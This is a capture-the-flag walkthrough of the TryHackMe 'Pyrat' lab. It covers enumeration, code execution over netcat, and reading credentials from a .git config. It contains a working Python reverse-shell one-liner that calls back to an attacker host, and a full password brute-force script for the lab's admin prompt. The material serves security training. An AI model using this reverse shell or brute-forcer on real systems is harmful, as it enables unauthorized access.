# TryHackMe Pyrat: Walkthrough #### Link: https://tryhackme.com/r/room/pyrat #### Difficulty: Easy #### Description ```Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application's older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.``` ## Enumeration ```bash= $ nmap -sV -sC 10.10.179.252 -oN nmap_scan Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 11:56 EAT Nmap scan report for 10.10.179.252 Host is up (0.46s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA) | 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA) |_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519) 8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2 |_http-server-header: SimpleHTTP/0.6 Python/3.11.2 |_http-open-proxy: Proxy might be redirecting requests |_http-title: Site doesn't have a title (text/html; charset=utf-8). 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8000-TCP:V=7.94SVN%I=7%D=10/13%Time=670B8B91%P=x86_64-pc-linux-gnu% SF:r(GenericLines,1,"\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 98.30 seconds ``` From the scan, we see there are 2 open ports running the services - 22 - SSH - 8000 - A Simple Python HTTP Server We can't login via SSH since we don't have valid credentials and from the service version there is no public available exploit. So, let's move to port 8000 ## Initial Access Trying to access port 8000 via browser, here is the output ![image](https://hackmd.io/_uploads/SJVC6WY1yg.png) Since it requires a basic connection I tried to connect using `netcat` tool and I tried to run python commands to see if I can get an output. ![image](https://hackmd.io/_uploads/r1E60ZtyJl.png) And voila, it worked. Now let's get a shell. Start a `netcat` listener on the second terminal using any port you prefer ```bash= nc -lnvp 1337 ``` Then run the following command; ```python= import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash") ``` ![image](https://hackmd.io/_uploads/BkAKeftJkl.png) And we received a connection back as `www-data` user ## Shell as think I tried to read the `/etc/passwd` file to see which user own a terminal and I discovered 2 users; ```bash= www-data@Pyrat:~$ cat /etc/passwd | grep bash cat /etc/passwd | grep bash root:x:0:0:root:/root:/bin/bash think:x:1000:1000:,,,:/home/think:/bin/bash ``` Navigating to `/opt` directory I found that there is a `dev` directory which is owned by user `think`. Navigating into it again I found a `.git` directory which there is a `config` file exposing user `think` credentials. I used found credentials to login as user `think` using SSH and I was able to read the user flag. ```bash= www-data@Pyrat:/opt/dev/.git$ cat config cat config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [user] name = Jose Mario email = josemlwdf@github.com [credential] helper = cache --timeout=3600 [credential "https://github.com"] username = think password = {REDACTED} ``` ![image](https://hackmd.io/_uploads/By4XNMY1Jl.png) ## Privilege Escalation After a long time of enumerating for a misconfiguration that can help to escalate privileges to root user I decided to read the hint from the author ![image](https://hackmd.io/_uploads/Sym8qftyJe.png) Navigating to `/var/mail` I found an email giving instructions to a user ```bash think@Pyrat:/var/mail$ cat think From root@pyrat Thu Jun 15 09:08:55 2023 Return-Path: <root@pyrat> X-Original-To: think@pyrat Delivered-To: think@pyrat Received: by pyrat.localdomain (Postfix, from userid 0) id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC) Subject: Hello To: <think@pyrat> X-Mailer: mail (GNU Mailutils 3.7) Message-Id: <20230615090855.2E4312141@pyrat.localdomain> Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC) From: Dbile Admen <root@pyrat> Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen ``` Searching on Github I found the repository [https://github.com/josemlwdf/PyRAT](here) which is owned by the machine author I guess that is the custom app we've been told to play with. I cloned the repository to my machine and inside it there is a python script file. ## Code Review ### Functions Overview: 1. `handle_client(client_socket, client_address):` - This function processes data received from a connected client. It handles both regular client commands and potential HTTP requests. - If the client sends an HTTP request, it sends a fake HTTP response. Otherwise, it processes commands like admin or shell. 2. `switch_case(client_socket, data):` - Routes the received command (from the client) to the appropriate handler. - If the command is admin, it calls get_admin(). - If the command is shell, it opens a shell for the client. If it's any other command, it tries to execute it as Python code. 3. `exec_python(client_socket, data):` - Attempts to execute the received data as Python code using exec(). - Redirects standard output (stdout) to capture any printed results and sends the result back to the client. 4. `get_admin(client_socket):` - This function verifies the client's "admin" status by asking for a password. - If the password matches (testpass), the client is added to the admins list. 5. `shell(client_socket):` - If the client requests a shell, this function attempts to spawn a shell (/bin/sh) on the server. It redirects the client's socket to the standard input/output of the shell. 6. `send_data(client_socket, data):` - Sends data back to the connected client. 7. `start_server(host, port):` - Creates a server socket that listens on the specified host and port. When a client connects, it starts a new process to handle the client using handle_client(). 8. `remove_socket(client_socket):` - Closes the client socket and removes it from the admins list if it was an admin client. 9. `is_http(data):` - Checks whether the received data looks like an HTTP request. 10. `fake_http():` - Sends a fake HTTP response header back to clients that attempt an HTTP request. 11. `change_uid():` - Changes the process's user ID and group ID if the server is running as root. It changes the effective user ID to a lower-privileged user (ID 33, commonly used by the www-data user in web servers). In the `__main__` block, the server is set to listen on all available network interfaces (0.0.0.0) on port 8000. The `start_server()` function is called to handle client connections, and the server can be interrupted with `KeyboardInterrupt` (Ctrl+C). So, In order to access shell as `admin` I must have a password. Since I don't have one I wrote a python script to bruteforce the admin password ```python import socket import sys # Path to the rockyou.txt file (or any wordlist) wordlist_path = "/usr/share/wordlists/rockyou.txt" # Server connection details host = "10.10.179.252" # Replace with target IP or domain port = 8000 # Replace with the port the server is running on def connect_to_server(host, port): try: # Create a socket connection client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((host, port)) return client_socket except Exception as e: print(f"Error connecting to server: {e}") sys.exit(1) def brute_force_admin_password(wordlist_path): try: with open(wordlist_path, "r", encoding="latin-1") as wordlist: for password in wordlist: password = password.strip() client_socket = connect_to_server(host, port) # Send the 'admin' command to trigger the password prompt client_socket.sendall(b"admin\n") response = client_socket.recv(1024).decode("utf-8") if "Password:" in response: # Send the current password attempt client_socket.sendall((password + "\n").encode("utf-8")) # Get server response response = client_socket.recv(1024).decode("utf-8") if "Welcome Admin!!!" in response: print(f"Success! Admin password is: {password}") client_socket.close() break else: print(f"Failed password attempt: {password}") client_socket.close() else: print("Unexpected response from server.") break except FileNotFoundError: print(f"Wordlist file {wordlist_path} not found.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": print("Starting brute force attack on admin password...") brute_force_admin_password(wordlist_path) ``` Running the script on my machine I got the admin password ![image](https://hackmd.io/_uploads/rkRfXmFkye.png) Let's login to the server and read the root flag ![image](https://hackmd.io/_uploads/Skw57QFkyl.png) BOOOOOOOOM!!! We rooted the machine.